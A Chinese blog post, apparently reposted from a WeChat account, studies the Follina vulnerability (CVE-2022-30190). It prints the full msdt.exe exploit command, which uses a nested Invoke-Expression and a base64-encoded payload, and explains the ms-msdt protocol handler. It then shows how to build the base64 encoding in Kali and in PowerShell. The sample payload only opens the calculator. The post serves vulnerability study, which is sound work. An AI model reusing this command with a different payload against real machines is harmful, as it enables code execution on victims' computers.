看看我遇到了谁,大名鼎鼎的“海阳顶端”,而且是头条上推送的,真是三生有幸!
大神也在看这个漏洞,并对里面的内容进行了一些别具风格的讲解,浅显易懂,推荐给大家。
一、ms协议
在py代码中有段代码:
代码:msdt.exe /id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwBhAGwAYwA='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe"
放在命令行下运行,执行效果如下图:
ms系列是office注册的协议,可以在【设置-应用-默认应用-按协议指定默认应用】中找到相对应的伪协议和所启动的应用。
ms-msdt协议没在这里找到,可以从注册表中找到。command是"%SystemRoot%system32msdt.exe" %1。
msdt.exe 是微软支持诊断工具。
二、一段代码的解码
有这么段代码:'FromBase64String('+[char]34+'YwBhAGwAYwA='+[char]34+',里面的YwBhAGwAYwA=用工具转换下:
YwBhAGwAYwA=是calc的base64编码。
在这里,大神给出了另两种转换方法,
1、kali下:
$ echo -n 'calc' | iconv -f UTF8 -t UTF16LE | base64
YwBhAGwAYwA
2、powershell下:
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('calc'))
通篇下来,难度不大,但胜在清奇,小巧而精致,学习了!
原文始发于微信公众号(MicroPest):CVE-2022-30190漏洞的学习二
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论